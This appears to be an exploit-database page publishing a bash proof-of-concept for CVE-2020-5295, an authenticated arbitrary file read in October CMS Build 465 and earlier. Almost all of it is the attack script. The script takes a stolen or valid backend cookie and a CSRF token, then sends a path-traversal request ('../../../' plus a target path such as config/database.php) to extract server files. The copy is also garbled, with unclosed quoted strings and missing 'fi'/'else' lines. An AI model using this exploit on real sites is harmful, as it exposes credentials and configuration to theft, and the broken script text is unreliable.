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October CMS Build 465 – Arbitrary File Read Exploit (Authenticated) 11-13

Date added: 2020-11-13

Just one of many vulns discovered on this cms.

# Exploit Title: October CMS Build 465 – Arbitrary File Read Exploit (Authenticated)
# Exploit Author: Sivanesh Ashok
# Vendor Homepage: https://octobercms.com/
# Version: Build 465 and below
# Tested on: Windows 10 / XAMPP / October CMS Build 465
# CVE: CVE-2020-5295


echo '''
Authenticated arbitrary file read exploit for October CMS <= Build 465
Tested on: v1.0.45

rm /tmp/ocms_* &> /dev/null

if [[ ! `command -v recode` ]]; then
	echo -e "[!] Missing package 'recode'\n[!] Install 'recode' using the respective command to resume\n\tsudo apt install recode\n\tsudo pacman -S recode\n\tyum install recode"
	echo -e "[*] Exiting!\n"
	exit 0

read -p "[*] Enter target host (with http/https): " host
echo ""
read -p "[*] Enter your cookie value: " cookie

curl -s -X GET -H "Cookie: $cookie" "$host/backend/cms" > /tmp/ocms_gethtml

if [[ ! `awk '/<span class="nav-label">/,/<\/span>/' /tmp/ocms_gethtml | grep "Assets"` ]]; then
	echo -e "[-] Invalid cookie\n[-] Either the user does not have the privilege to modify assets or the cookie is invalid"
	echo -e "[*] Exiting!\n"
	exit 0

echo '''
[!] Relative path to the target file is required.
	eg. config/database.php
	If you are unsure about the path, check OctoberCMS github which has the default file system hosted

read -p "[*] Enter path to the target file: " targetfile
themename=`grep "data-item-theme" /tmp/ocms_gethtml -m 1 | awk -F'"' '{print $6}'`
csrftoken=`grep "csrf-token" /tmp/ocms_gethtml | awk -F'"' '{print $4}'`

curl -s -X POST -H "Cookie: $cookie" -H "X-CSRF-TOKEN: $csrftoken" -H "X-OCTOBER-REQUEST-HANDLER: onOpenTemplate" -H "X-Requested-With: XMLHttpRequest" -d "theme=$themename" -d "type=asset" -d "path=../../../$targetfile" "$host/backend/cms" > /tmp/ocms_jsonres

cat /tmp/ocms_jsonres | jq -r '.tab' 2> /dev/null | awk '/<textarea/,/<\/textarea>/' 2> /dev/null | recode html > /tmp/ocms_file 2> /dev/null

if [[ `cat /tmp/ocms_file` ]]; then
	cp /tmp/ocms_file ./october_extractedfile
	echo -e "\n[+] File saved as ./october_extractedfile!\n"
	exit 1
	echo -e "\n[-] Error extracting file. Check /tmp/ocms_jsonres for the server response. Exiting!\n"
	exit 0
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October CMS Build 465 - Arbitrary File Read Exploit (Authenticated) 11-13
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